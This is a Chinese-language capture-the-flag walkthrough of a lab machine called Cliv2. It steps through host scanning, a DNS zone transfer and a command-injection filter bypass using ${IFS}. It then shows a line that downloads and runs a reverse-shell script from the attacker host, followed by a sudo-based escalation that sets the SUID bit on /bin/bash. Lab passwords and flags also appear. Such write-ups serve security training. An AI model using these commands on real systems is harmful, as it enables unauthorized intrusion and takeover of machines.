一、信息收集
1. 主机发现
使用 arp-scan 在本地网络进行扫描,发现目标主机 IP 地址为 192.168.205.240。
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo arp-scan -l
...
192.168.205.240 08:00:27:aa:bc:4b PCS Systemtechnik GmbH
...2. 端口与服务扫描
通过 nmap 对目标主机进行全端口扫描,确认其开放了 22 (SSH), 53 (DNS) 和 80 (HTTP) 端口。
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nmap -p- 192.168.205.240
...
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http对 DNS 服务进行版本侦察,确认为 ISC BIND 9.16.50。
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nmap -p53 -sC -sV 192.168.205.240
...
PORT STATE SERVICE VERSION
53/tcp open domain ISC BIND 9.16.50 (Debian Linux)
| dns-nsid:
|_ bind.version: 9.16.50-Debian
...3. Web 与 DNS 侦察
直接访问目标 IP 的 80 端口,页面会自动重定向到域名 http://cliv2.dsz/。因此,首先在攻击机上配置 /etc/hosts 文件,将该域名指向目标 IP。
# 在 /etc/hosts 文件中添加
192.168.205.240 cliv2.dsz由于目标开放了 DNS 服务,尝试进行 DNS 区域传送(AXFR)攻击,成功获取了多个子域名。
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ dig axfr @192.168.205.240 cliv2.dsz
...
cliv2.dsz. 86400 IN A 127.0.0.1
3170a7.cliv2.dsz. 86400 IN A 127.0.0.1
client.cliv2.dsz. 86400 IN A 127.0.0.1
dev.cliv2.dsz. 86400 IN A 127.0.0.1
ns1.cliv2.dsz. 86400 IN A 127.0.0.1
...将发现的所有子域名一并添加到 /etc/hosts 文件中,以便后续访问。
# 更新 /etc/hosts 文件
192.168.205.240 cliv2.dsz 3170a7.cliv2.dsz client.cliv2.dsz dev.cliv2.dsz ns1.cliv2.dsz二、初始访问
Web 渗透 (RCE)
在探测发现的子域名中,访问 http://3170a7.cliv2.dsz/ 发现一个 Web 终端,该终端允许执行系统命令。
经过测试,后端对输入进行了过滤,禁止了空格和 - 等特殊字符。为了绕过空格限制,我们可以使用 shell 的内部字段分隔符 ${IFS} 来代替。
攻击步骤:
- 在攻击机 (Kali) 上创建一个反弹 shell 脚本 (
reverse.sh)。 - 在攻击机上开启一个临时的 HTTP 服务器(例如
python3 -m http.server 80)。 - 在 Kali 上开启
netcat监听。 - 构造绕过空格限制的恶意命令,下载并执行反弹 shell 脚本。
恶意命令:
cd${IFS}/tmp/;busybox${IFS}wget${IFS}192.168.205.128/reverse.sh;bash${IFS}reverse.sh在 Web 终端执行上述命令后,成功在本地 netcat 监听器上接收到了来自目标服务器的 www-data 用户反弹 shell。
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nc -lvnp 8888
listening on [any] 8888 ...
connect to [192.168.205.128] from (UNKNOWN) [192.168.205.240] 53098
...
www-data@Cliv2:/tmp$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)三、权限提升
1. 从 www-data 到 bitc0de
获取初始 shell 后,在 /home 目录下发现了用户 bitc0de。进一步检查 /home/bitc0de 目录,发现一个名为 ... 的可疑文件。
www-data@Cliv2:/home/bitc0de$ ls -al
...
-rw-r--r-- 1 root root 17 Jul 25 23:51 ...
-rw-r--r-- 1 root root 44 Jul 25 22:35 user.txt
...
www-data@Cliv2:/home/bitc0de$ cat ...
MabEwReOmcpG!123读取该文件内容,获得了一个密码 MabEwReOmcpG!123。同时,发现了 user.txt,读取后获得第一个 flag。
www-data@Cliv2:/home/bitc0de$ cat user.txt
flag{user-60b725f10c9c85c70d97880dfe8191b3}使用获取的密码,成功切换到 bitc0de 用户。
www-data@Cliv2:/home/bitc0de$ su bitc0de
Password: MabEwReOmcpG!123
bitc0de@Cliv2:~$ id
uid=1000(bitc0de) gid=1000(bitc0de) groups=1000(bitc0de)2. 从 bitc0de 到 root
成为 bitc0de 用户后,执行 sudo -l 发现该用户可以无密码以 ALL 权限执行 /usr/local/bin/hmvcli 脚本。
bitc0de@Cliv2:~$ sudo -l
...
User bitc0de may run the following commands on Cliv2:
(ALL) NOPASSWD: /usr/local/bin/hmvcli分析该 Python 脚本 /usr/local/bin/hmvcli 的源代码,发现其中一段存在命令注入漏洞:
...
parser.add_argument('-c', '--config', action='store_true', help='Run the setup script to configure credentials')
args = vars(parser.parse_args())
if args['config']:
print("[*] Ejecutando script de configuración...")
subprocess.run(["bash", "setup.sh"])
sys.exit(0)
...当使用 -c 或 --config 参数运行此脚本时,它会以 root 权限(因为我们用了 sudo)执行当前目录下的 setup.sh 文件。我们可以利用这个逻辑来执行任意命令。
提权步骤:
- 在
bitc0de用户权限下,于任意可写目录(如/home/bitc0de或/tmp)创建一个名为setup.sh的文件。 - 在
setup.sh中写入提权命令,这里我们使用chmod +s /bin/bash为bash程序设置 SUID 位,使其在执行时获得文件所有者(即root)的权限。 - 以
sudo方式运行hmvcli脚本并带上-c参数,触发漏洞。 - 执行
bash -p以 root 权限启动一个新的 shell。
bitc0de@Cliv2:~$ cd /home/bitc0de
bitc0de@Cliv2:~$ echo "chmod +s /bin/bash" > setup.sh
bitc0de@Cliv2:~$ sudo /usr/local/bin/hmvcli -c
[*] Ejecutando script de configuración...
bitc0de@Cliv2:~$ ls -al /bin/bash
-rwsr-sr-x 1 root root 1168776 Apr 18 2019 /bin/bash
bitc0de@Cliv2:~$ bash -p
bash-5.0# id
uid=1000(bitc0de) gid=1000(bitc0de) euid=0(root) egid=0(root) groups=0(root),1000(bitc0de)成功获取 root 权限。
四、夺取旗帜
获取 root 权限后,读取最终的 root.txt 旗帜文件。
bash-5.0# cat /root/root.txt
flag{root-12f54a96f64443246930da001cafda8b}
bash-5.0# cat /home/bitc0de/user.txt
flag{user-60b725f10c9c85c70d97880dfe8191b3}至此,所有旗帜均已夺取,渗透测试完成。
